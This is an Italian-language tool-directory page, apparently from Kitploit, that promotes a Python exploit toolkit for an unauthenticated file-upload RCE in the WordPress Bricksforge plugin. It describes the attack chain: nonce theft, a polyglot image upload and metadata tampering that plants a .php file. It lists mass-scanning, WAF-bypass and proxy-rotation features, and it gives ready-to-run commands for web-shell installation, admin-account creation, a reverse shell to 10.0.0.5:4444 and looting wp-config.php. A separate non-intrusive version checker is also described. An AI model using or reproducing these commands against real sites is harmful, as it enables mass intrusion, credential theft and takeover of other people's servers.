Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-85097-Toolkit — Toolkit Python per CVE-2026-85097: sfrutta il caricamento di file non autenticato di Bricksforge su WordPress per ottenere RCE tramite payload poliglotti, oltre a uno scanner non intrusivo per il rilevamento della versione. | Kitploit
Strumenti/GitHubGitHub/tc4dy/cve-2026-85097-toolkit
RicognizioneScanner di VulnerabilitàGenerazione di PayloadExploitSfruttamento di Applicazioni WebPost-ExploitBypass WAFSicurezza WebPenetration Testing

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Apprendimento e Formazione
Strumento di Accesso Remoto
GitHubtc4dy/cve-2026-85097-toolkit

CVE-2026-85097-Toolkit

Toolkit Python per CVE-2026-85097: sfrutta il caricamento di file non autenticato di Bricksforge su WordPress per ottenere RCE tramite payload poliglotti, oltre a uno scanner non intrusivo per il rilevamento della versione.

Vedi Repository
51320 giorni faNon ancora revisionato
Condividi

CVE-2026-85097

CVE-2026-85097 - Toolkit per RCE tramite caricamento di file non autenticato nel plugin WordPress Bricksforge

CVE-2026-85097 CVSS 10.0 Sfruttamento attivo Python 3.6+

Caricamento di file pre-autenticazione Poliglotta Multipiattaforma

Plugin WordPress Bricksforge - Caricamento arbitrario di file non autenticato con esecuzione remota di codice

Toolkit di exploit e scanner di rilevamento sicuro
Solo per test di sicurezza autorizzati.


[+] Panoramica della vulnerabilità

CVE-2026-85097 è una vulnerabilità critica di caricamento arbitrario di file non autenticato nel plugin WordPress Bricksforge (versioni 3.1.8.9 e precedenti). Consente ad attaccanti remoti di aggirare la validazione MIME e caricare file PHP controllati dall'attaccante nella directory degli upload, con conseguente esecuzione remota di codice con l'utente del server web.

Come funziona

  1. Recupero del nonce: L'azione AJAX bricksforge_regenerate_nonce è registrata con wp_ajax_nopriv_, consentendo ad attaccanti non autenticati di ottenere un nonce REST valido.

  2. Caricamento poliglotta: L'endpoint REST form_file_upload convalida il tipo MIME del file caricato. Un file poliglotta (intestazione PNG/GIF valida seguita da codice PHP) supera questo controllo.

  3. Fiducia nei metadati: Durante l'invio del modulo, il plugin si fida dei metadati forniti dal client nel parametro temporaryFileUploads. Il campo file punta al file poliglotta convalidato, mentre il campo url contiene il nome file scelto dall'attaccante (inclusa l'estensione .php).

  4. Esecuzione PHP: Il sink copy() del plugin utilizza il valore url fornito dall'attaccante alla lettera come nome file di destinazione. Il file poliglotta viene rinominato in .php all'interno di wp-content/uploads/YYYY/MM/ ed eseguito all'accesso.

Fatti chiave

AttributoValore
[>] ScopertaOttobre 2026 (Patchstack)
[>] Punteggio CVSS10.0 (CRITICO)
[>] CWECWE-434 (Caricamento senza restrizioni di file con tipo pericoloso)
[>] Plugin interessatoBricksforge (modulo Pro Forms)
[>] Versioni interessate3.1.8.9 e precedenti
[>] Versione corretta3.1.8.10
[>] AutenticazioneNon richiesta (pre-autenticazione)
[>] Sfruttamento attivoConfermato in the wild (ottobre 2026)

[<>] Toolkit di exploit

Il toolkit di exploit concatena il recupero del nonce, il caricamento poliglotta, la manipolazione dei metadati e l'esecuzione PHP in un unico flusso di lavoro automatizzato, con funzionalità avanzate per la scansione di massa, l'OPSEC e il post-sfruttamento.

Funzionalità

FunzionalitàDescrizione
[+] Catena di attacco completaRecupero del nonce, upload poliglotta, invio del form, verifica della shell
[+] Payload poliglottiVarianti con chunk tEXt PNG e con estensione commento GIF
[+] Scansione di massaScansione concorrente con thread pool
[+] Post-sfruttamentoInstallazione di web shell, creazione di utente admin, reverse shell, esfiltrazione di file
[+] Esecuzione di comandiEsecuzione di comandi arbitrari sulle shell confermate
[+] Rilevamento sicuroScanner separato non intrusivo (safechecker.py)
[+] Bypass WAFSpoofing degli header, rotazione dello User-Agent, codifica delle estensioni
[+] Supporto proxyProxy SOCKS5, SOCKS4, HTTP con strategie di rotazione
[+] Molteplici formati di outputJSON, CSV, HTML, JSONL, SQLite
[+] Thread-safeUtilizza meccanismi di locking per le operazioni concorrenti
[+] Rate limitingRate limiter globale con jitter e ritardo
[+] Cross-platformSupporta Linux, macOS, BSD, WSL

Flusso di attacco

FaseDescrizione
nonceRecupera un nonce REST valido tramite l'azione AJAX non autenticata
uploadCarica un PNG/GIF poliglotta che supera la validazione MIME
submitInvia il form con metadati che puntano al poliglotta e a un URL .php
verifyAccede alla shell caricata e conferma l'esecuzione dei comandi
exploitInstalla la web shell, crea un admin, attiva la reverse shell, esfiltra i file

Verificatore sicuro

Il verificatore sicuro (safechecker.py) esegue il rilevamento non intrusivo delle vulnerabilità senza caricare payload, inviare form o modificare il target.

[>] Funzionalità

FunzionalitàDescrizione
[+] Rilevamento WordPressIdentifica le istanze WordPress tramite molteplici pattern
[+] Rilevamento del pluginConferma la presenza di Bricksforge tramite HTML e file statici
[+] Rilevamento della versioneRileva le versioni specifiche del plugin
[+] Verifica delle route RESTEnumera gli endpoint REST di Bricksforge esposti
[+] Sonda sull'endpoint nonceVerifica opzionale dell'endpoint nonce (--probe-nonce)
[+] Verifica del log di debugIspeziona wp-content/debug.log alla ricerca di tracce del plugin
[+] Non intrusivoIdentifica solo le versioni vulnerabili e gli endpoint esposti
[+] Output JSON/CSV/SQL/JSONLEsporta i risultati per il reporting
[+] Scansione di massaScansiona più target con supporto al threading

Installazione e requisiti

Prerequisiti

  • Python 3.6+
  • pip (per la libreria requests)

Installazione delle dipendenze

pip install requests urllib3

Clona il repository

git clone https://github.com/tc4dy/CVE-2026-85097-Toolkit.git
cd CVE-2026-85097-Toolkit
python3 exploit.py
#or
python3 safechecker.py

Esempi di utilizzo

[1] Toolkit di exploit (exploit.py)

# Single target exploit
python3 exploit.py -u https://target.com --exploit

# Exploit with custom command
python3 exploit.py -u https://target.com --exploit --cmd "id; uname -a"

# Mass scanning from file with 20 threads
python3 exploit.py -f targets.txt --exploit -t 20 -o results.json

# Install web shell after successful exploit
python3 exploit.py -u https://target.com --exploit --webshell

# Create admin user via RCE
python3 exploit.py -u https://target.com --exploit --create-admin "sysadmin:Str0ng!Pass"

# Trigger reverse shell
python3 exploit.py -u https://target.com --exploit --reverse-shell "10.0.0.5:4444"

# Loot wp-config.php and other files
python3 exploit.py -u https://target.com --exploit --loot

# Proxy with rotation
python3 exploit.py -f targets.txt --proxy-list proxies.txt --proxy-rotate round-robin

# Jitter and rate limiting
python3 exploit.py -f targets.txt --jitter --jitter-range 0.5,3.0 --rate-limit 5
Scarica lo strumento